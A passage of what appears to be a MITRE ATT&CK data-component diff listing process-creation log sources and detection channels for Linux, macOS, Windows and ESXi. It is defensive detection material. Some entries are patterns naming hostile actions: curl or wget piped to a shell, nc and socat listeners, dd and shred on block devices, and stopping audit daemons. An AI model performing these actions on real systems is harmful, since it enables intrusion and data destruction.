"auditd:SYSCALL", + "channel": "execve: Execution of binaries/scripts presenting false health messages for security daemons" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of processes mimicking Apple Security & Privacy GUIs" + }, + { + "name": "WinEventLog:Microsoft-Windows-Security-Auditing", + "channel": "EventCode=4688" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, setifflags" + }, + { + "name": "macos:osquery", + "channel": "process_events where path like '%tcpdump%'" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of dd, shred, or wipe with arguments targeting block devices" + }, + { + "name": "auditd:EXECVE", + "channel": "systemctl stop auditd, kill -9 , or modifications to /etc/selinux/config" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of curl, git, or Office processes with network connections" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream - process subsystem" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls for qemu-system*, kvm, or VBoxHeadless" + }, + { + "name": "macos:unifiedlog", + "channel": "Process execution for VBoxHeadless, prl_vm_app, vmware-vmx" + }, + { + "name": "macos:unifiedlog", + "channel": "process logs" + }, + { + "name": "esxi:shell", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of interpreters (python, perl), custom binaries, or shell utilities with long arguments containing non-standard tokens" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC: arguments contain long, non-standard tokens / custom alphabets" + }, + { + "name": "macos:unifiedlog", + "channel": "command line or log output shows non-standard encoding routines" + }, + { + "name": "esxi:shell", + "channel": "commands containing long non-standard tokens or custom lookup tables" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of /usr/sbin/installer spawning child process from within /private/tmp or package contents" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of dpkg or rpm followed by fork/execve from within postinst, prerm, etc." + }, + { + "name": "macos:unifiedlog", + "channel": "execve: Helper tools invoked through XPC executing unexpected binaries" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of modified binary without valid signature" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: exe in (/usr/bin/bash,/usr/bin/sh,/usr/bin/zsh,/usr/bin/python*) AND cmdline matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64\\s*-d|python\\s*-c'" + }, + { + "name": "macos:unifiedlog", + "channel": "exec: ParentImage in (Terminal, iTerm2) AND Image in (/bin/zsh,/bin/bash,/usr/bin/python*) AND CommandLine matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64 -D|python -c'" + }, + { + "name": "macos:unifiedlog", + "channel": "process created with repeated ICMP or UDP flood behavior" + }, + { + "name": "fs:fsusage", + "channel": "binary execution of security_authtrampoline" + }, + { + "name": "macos:unifiedlog", + "channel": "process: exec" + }, + { + "name": "esxi:vmkernel", + "channel": "Exec" + }, + { + "name": "macos:unifiedlog", + "channel": "Child processes of Safari, Chrome, or Firefox executing scripting interpreters" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of older or non-standard interpreters" + }, + { + "name": "linux:osquery", + "channel": "process execution events for permission modification utilities with command-line analysis" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution events for chmod, chown, chflags with parameter analysis and target path examination" + }, + { + "name": "macos:osquery", + "channel": "process execution monitoring for permission modification utilities with command-line argument analysis" + }, + { + "name": "auditd:SYSCALL", + "channel": "Invocation of packet generation tools (e.g., hping3, nping) or fork bombs" + }, + { + "name": "macos:osquery", + "channel": "Execution of flooding tools or compiled packet generators" + }, + { + "name": "esxi:hostd", + "channel": "process" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve for proxy tools" + }, + { + "name": "macos:unifiedlog", + "channel": "process, socket, and DNS logs" + }, + { + "name": "macos:osquery", + "channel": "process_events table" + }, + { + "name": "macos:unifiedlog", + "channel": "Command line containing `trap` or `echo 'trap` written to login shell files" + }, + { + "name": "macos:unifiedlog", + "channel": "log collect --predicate" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve or nanosleep with no stdout/stderr I/O" + }, + { + "name": "macos:unifiedlog", + "channel": "launchd or osascript spawns process with delay command" + }, + { + "name": "linux:syslog", + "channel": "systemd-udevd spawning user-defined action from RUN+=" + }, + { + "name": "ebpf:syscalls", + "channel": "execve" + }, + { + "name": "macos:unifiedlog", + "channel": "process:spawn" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"exec\"'" + }, + { + "name": "auditd:EXECVE", + "channel": "cat|less|grep accessing .bash_history from a non-shell process" + }, + { + "name": "auditd:EXECVE", + "channel": "Process execution via .desktop Exec path from /etc/xdg/autostart or ~/.config/autostart" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of dpkg, rpm, or other package manager with list flag" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of system_profiler or osascript invoking enumeration" + }, + { + "name": "auditd:SYSCALL", + "channel": "apache2 or nginx spawning sh, bash, or python interpreter" + }, + { + "name": "macos:unifiedlog", + "channel": "httpd spawning bash, zsh, python, or osascript" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of /usr/libexec/security_authtrampoline or child processes originating from non-trusted binaries triggering credential prompts" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of security or osascript" + }, + { + "name": "WinEventLog:security", + "channel": "EventCode=4688" + }, + { + "name": "macos:unifiedlog", + "channel": "launchd spawning processes tied to new or modified LaunchDaemon .plist entries" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of ping, nping, or crafted network packets via bash or python to reflection services" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of commands modifying iptables/nftables to block selective IPs" + }, + { + "name": "macos:unifiedlog", + "channel": "System process modifications altering DNS/proxy settings" + }, + { + "name": "containerd:Events", + "channel": "unusual process spawned from container image context" + }, + { + "name": "macos:osquery", + "channel": "curl, python scripts, rsync with internal share URLs" + }, + { + "name": "macos:unifiedlog", + "channel": "process: spawn, exec" + }, + { + "name": "macos:osquery", + "channel": "Rapid spawning of resource-heavy applications (e.g., Preview, Safari, Office)" + }, + { + "name": "macos:unifiedlog", + "channel": "Process creation events where command line = pmset with arguments affecting sleep, hibernatemode, displaysleep" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected apps performing repeated DNS lookups" + }, + { + "name": "macos:unifiedlog", + "channel": "launchservices or loginwindow events" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve with LD_PRELOAD or linker-related environment variables set" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of process with DYLD_INSERT_LIBRARIES set" + }, + { + "name": "macos:unifiedlog", + "channel": "Suspicious Swift/Objective-C or scripting processes writing archive-like outputs" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of re-parented process" + }, + { + "name": "linux:osquery", + "channel": "Anomalous parent PID change" + }, + { + "name": "macos:unifiedlog", + "channel": "Process creation with parent PID of 1 (launchd)" + }, + { + "name": "linux:osquery", + "channel": "child process invoking dynamic linker post-ptrace" + }, + { + "name": "macos:osquery", + "channel": "Processes executing kextload, spctl, or modifying kernel extension directories" + }, + { + "name": "macos:osquery", + "channel": "Unsigned or ad-hoc signed process executions in user contexts" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of diskutil or hdiutil attaching hidden partitions" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution events for discovery utilities (system_profiler, sw_vers, dscl, networksetup) with command-line parameter analysis" + }, + { + "name": "macos:osquery", + "channel": "process event monitoring with focus on discovery utilities and cryptographic framework usage correlation" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected apps generating frequent DNS queries" + }, + { + "name": "macos:unifiedlog", + "channel": "process exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket: Suspicious creation of AF_UNIX sockets outside expected daemons" + }, + { + "name": "macos:unifiedlog", + "channel": "Non-standard processes invoking financial applications or payment APIs" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Agent/headless flags (listen/connect/reverse/tunnel) or remote-control binaries spawning shells" + }, + { + "name": "auditd:SYSCALL", + "channel": "systemctl enable/start: Creation/enablement of custom .service units in /etc/systemd/system" + }, + { + "name": "macos:unifiedlog", + "channel": "Process exec of remote-control apps or binaries with headless/connect flags" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: systemctl stop, service stop, or kill -9 on security daemons (e.g., falcon-sensor, auditd)" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of launchctl unload, kill, or removal of security agent daemons" + }, + { + "name": "macos:unifiedlog", + "channel": "process activity, exec events" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream process subsystem" + }, + { + "name": "macos:unifiedlog", + "channel": "process:exec and kext load events" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --info --predicate 'eventMessage CONTAINS \"exec\"'" + }, + { + "name": "WinEventLog:Microsoft-Windows-DotNETRuntime", + "channel": "Unexpected AppDomain creation events or anomalous AppDomainManager assembly load behavior" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of network stress tools or anomalies in socket/syscall behavior" + }, + { + "name": "macos:unifiedlog", + "channel": "Unsigned binary execution following SIP change" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Commands altering firewall or enabling listeners (iptables, nft, ufw, firewall-cmd, systemctl start *ssh*/*telnet*, ip route add, tcpdump, tshark)" + }, + { + "name": "macos:unifiedlog", + "channel": "exec: Execution of /sbin/pfctl, /usr/libexec/ApplicationFirewall/socketfilterfw, ifconfig, tcpdump, npcap/libpcap consumers" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of zip, ditto, hdiutil, or openssl by non-terminal parent processes" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of binaries with TCC protected access under unexpected parent processes such as Finder.app, SystemUIServer, or nsurlsessiond" + }, + { + "name": "WinEventLog:AppLocker", + "channel": "EventCode=8003,8004" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, unlink" + }, + { + "name": "macos:osquery", + "channel": "launchd, processes" + }, + { + "name": "linux:osquery", + "channel": "socat, ssh, or nc processes opening unexpected ports" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution of ssh with -L/-R forwarding flags" + }, + { + "name": "macos:unifiedlog", + "channel": "launchd or cron spawning mining binaries" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve or socket/connect system calls for processes using RSA handshake" + }, + { + "name": "macos:unifiedlog", + "channel": "Process invoking SecKeyCreateRandomKey or asymmetric crypto APIs" + }, + { + "name": "azure:vmguest", + "channel": "Unexpected execution of cloud agent processes (e.g., WindowsAzureGuestAgent.exe, ssm-agent) followed by arbitrary script or binary execution" + }, + { + "name": "macos:unifiedlog", + "channel": "Script interpreter invoked by nginx/apache worker process" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of Office binaries with network activity" + }, + { + "name": "macos:unifiedlog", + "channel": "launch of bash/zsh/python/osascript targeting key file locations" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of /sbin/emond with child processes launched" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "provider: ETW CreateProcess events linking msbuild.exe to suspicious children where standard logs are incomplete" + }, + { + "name": "macos:unifiedlog", + "channel": "shutdown -h now or reboot" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of Code.app, idea, JetBrainsToolbox, eclipse with install/extension flags" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution events for system discovery utilities (system_profiler, sysctl, networksetup, ioreg) with parameter analysis" + }, + { + "name": "OpenBSM:AuditTrail", + "channel": "BSM audit events for process execution and system call monitoring during reconnaissance" + }, + { + "name": "esxi:hostd", + "channel": "host daemon events related to VM operations and configuration queries during reconnaissance" + }, + { + "name": "esxi:vmkernel", + "channel": "VMware kernel events for hardware and system configuration access during environmental validation" + }, + { + "name": "linux:osquery", + "channel": "processes modifying environment variables related to history logging" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: parent process is usb/hid device handler, child process bash/python invoked" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of curl, rclone, or Office apps invoking network sessions" + }, + { + "name": "macos:unifiedlog", + "channel": "exec: Execution of kextstat, kextfind, or ioreg targeting driver information" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec events" + }, + { + "name": "macos:unifiedlog", + "channel": "Process creation involving binaries interacting with resource fork data" + }, + { + "name": "macos:unifiedlog", + "channel": "process event" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of suspicious exploit binaries targeting security daemons" + }, + { + "name": "macos:osquery", + "channel": "execve: Unsigned or unnotarized processes launched with high privileges" + }, + { + "name": "macos:unifiedlog", + "channel": "security OR injection attempts into 1Password OR LastPass" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_data_source_ref": "", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/data-components/DC0032\", \"external_id\": \"DC0032\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Process\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream 'eventMessage contains pubsub or broker'\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=1\"}, {\"name\": \"linux:osquery\", \"channel\": \"Execution of binary resolved from $PATH not located in /usr/bin or /bin\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process execution path inconsistent with baseline PATH directories\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4688\"}, {\"name\": \"linux:osquery\", \"channel\": \"process_events\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec\"}, {\"name\": \"macos:osquery\", \"channel\": \"processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of launchctl with suspicious arguments\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve network tools\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls to soffice.bin with suspicious macro execution flags\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts\"}, {\"name\": \"macos:osquery\", \"channel\": \"process reading browser configuration paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec logs\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec: Process execution context for loaders calling dlopen/dlsym\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"EXECVE\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execution of unexpected binaries during user shell startup\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launch of Terminal.app or shell with non-standard environment setup\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of systemctl or service stop\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of launchctl or pkill\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process::exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context\"}, {\"name\": \"macos:osquery\", \"channel\": \"Execution of non-standard binaries accessing Kerberos APIs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Electron-based binary spawning shell or script interpreter\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Electron app spawning unexpected child process\"}, {\"name\": \"esxi:shell\", \"channel\": \"/root/.ash_history or /etc/init.d/*\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls with high-frequency or known bandwidth-intensive tools\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec or spawn calls to proxy tools or torrent clients\"}, {\"name\": \"containers:osquery\", \"channel\": \"bandwidth-intensive command execution from within a container namespace\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process launch\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --info --predicate 'subsystem == \\\"com.apple.cfprefsd\\\"'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of security, sqlite3, or unauthorized binaries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected applications generating outbound DNS queries\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"EventCode=1\"}, {\"name\": \"macos:osquery\", \"channel\": \"execve\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected child process of Safari or Chrome\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process writes or modifies files in excluded paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"com.apple.mail.* exec.*\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of memory inspection tools (lldb, gdb, osqueryi)\"}, {\"name\": \"esxi:vobd\", \"channel\": \"/var/log/vobd.log\"}, {\"name\": \"kubernetes:apiserver\", \"channel\": \"kubectl exec or kubelet API calls targeting running pods\"}, {\"name\": \"docker:audit\", \"channel\": \"Process execution events within container namespace context\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"process persists beyond parent shell termination\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"background process persists beyond user logout\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns\"}, {\"name\": \"esxi:hostd\", \"channel\": \"process execution across cloud VM\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"systemctl spawning managed processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"None\"}, {\"name\": \"esxi:shell\", \"channel\": \"/var/log/shell.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec events where web process starts a shell/tooling\"}, {\"name\": \"docker:events\", \"channel\": \"Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec of osascript, bash, curl with suspicious parameters\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"es_event_exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of discovery commands targeting backup binaries, processes, or config paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events OR launchd\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execve\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd or process_events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process and file events via log stream\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of scripts or binaries spawned from browser processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Browser processes launching unexpected interpreters (osascript, bash)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"EXECVE\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process:exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of bash, python, or perl processes spawned by browser/email client\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of osascript, bash, or Terminal initiated from Mail.app or Safari\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity.\"}, {\"name\": \"macos:osquery\", \"channel\": \"parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process activity stream\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"SYSCALL record where exe contains passwd/userdel/chage and auid != root\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Post-login execution of unrecognized child process from launchd or loginwindow\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of base64|openssl|xxd|python|perl with arguments matching Base64 flags\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process command line contains base64, -enc, openssl enc -base64\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec: arguments contain Base64-like strings\"}, {\"name\": \"esxi:shell\", \"channel\": \"commands containing base64, openssl enc -base64, xxd -p\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of process launched via loginwindow session restore\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: exec + filewrite: ~/.ssh/authorized_keys\"}, {\"name\": \"containerd:runtime\", \"channel\": \"/var/log/containers/*.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of Java apps or other processes with hidden window attributes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process Execution\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve on code or jetbrains-gateway with remote flags\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: code or jetbrains-gateway launching with --tunnel or --remote\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'processImagePath CONTAINS \\\"curl\\\" OR \\\"osascript\\\"'\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of dd, shred, wipe targeting block devices\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of sleep or ping command within script interpreted by bash/python\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve or socket/connect system calls from processes using crypto libraries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process using AES/RC4 routines unexpectedly\"}, {\"name\": \"linux:osquery\", \"channel\": \"execution of known firewall binaries\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime\"}, {\"name\": \"linux:osquery\", \"channel\": \"execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec: binary == \\\"/usr/sbin/systemsetup\\\" and args contains \\\"-gettimezone\\\"\"}, {\"name\": \"macos:osquery\", \"channel\": \"execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of osascript, curl, or unexpected automation\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec /usr/bin/pwpolicy\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket(AF_PACKET|AF_INET, SOCK_RAW, *), setsockopt(\\u2026 SO_ATTACH_FILTER|SO_ATTACH_BPF \\u2026), bpf(cmd=BPF_PROG_LOAD), open/openat path=\\\"/dev/bpf*\\\" (BSD/macOS-like) or setcap cap_net_raw.\"}, {\"name\": \"linux:syslog\", \"channel\": \"KERN messages about eBPF program load/verify or LSM denials related to bpf.\"}, {\"name\": \"OpenBSM:AuditTrail\", \"channel\": \"open/openat of /dev/bpf*; ioctl BIOCSETF-like operations.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters.\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of known flash tools (e.g., flashrom, fwupd)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"com.apple.firmwareupdater activity or update-firmware binary invoked\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API\"}, {\"name\": \"macos:endpointSecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)\"}, {\"name\": \"macos:osquery\", \"channel\": \"execve: Processes unexpectedly invoking Keychain or authentication APIs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"None\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process:launch\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of \\\"sharing -l\\\", \\\"smbutil view\\\", \\\"mount_smbfs\\\"\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of scp, rsync, curl with remote destination\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"logMessage contains pbpaste or osascript\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process launch of diskutil or system_profiler with SPStorageDataType\"}, {\"name\": \"esxi:hostd\", \"channel\": \"execution of esxcli with args matching 'storage', 'filesystem', 'core device list'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Mail.app executing with parameters updating rules state\"}, {\"name\": \"esxi:shell\", \"channel\": \"/var/log/vmkernel.log, /var/log/vmkwarning.log\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera\"}, {\"name\": \"kubernetes:apiserver\", \"channel\": \"exec into pod followed by secret retrieval via API\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process_name IN (\\\"VBoxManage\\\", \\\"prlctl\\\") AND command CONTAINS (\\\"list\\\", \\\"show\\\")\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec srm|exec openssl|exec gpg\"}, {\"name\": \"linux:osquery\", \"channel\": \"Process execution with LD_PRELOAD or modified library path\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of process with DYLD_INSERT_LIBRARIES set\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"process creation events linked to container namespaces executing host-level binaries\"}, {\"name\": \"WinEventlog:Security\", \"channel\": \"EventCode=4688\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process and signing chain events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchservices events for misleading extensions\"}, {\"name\": \"fs:fsusage\", \"channel\": \"Execution of disguised binaries\"}, {\"name\": \"linux:osquery\", \"channel\": \"process listening or connecting on non-standard ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchd services binding to non-standard ports\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, connect\"}, {\"name\": \"esxi:cron\", \"channel\": \"process or cron activity\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of binaries with unsigned or anomalously signed certificates\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve logging for /usr/bin/systemctl and systemd-run\"}, {\"name\": \"macos:osquery\", \"channel\": \"Invocation of osascript or dylib injection\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of files saved in mail or download directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of Terminal, osascript, or other interpreters originating from Mail or Preview\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process events\"}, {\"name\": \"linux:syslog\", \"channel\": \"Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of CLI tools like psql, mysql, mongo, sqlite3\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process start of Java or native DB client tools\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"loginwindow or tccd-related entries\"}, {\"name\": \"macos:osquery\", \"channel\": \"query: process_events, launchd, and tcc.db access\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"process execution or network connect from just-created container PID namespace\"}, {\"name\": 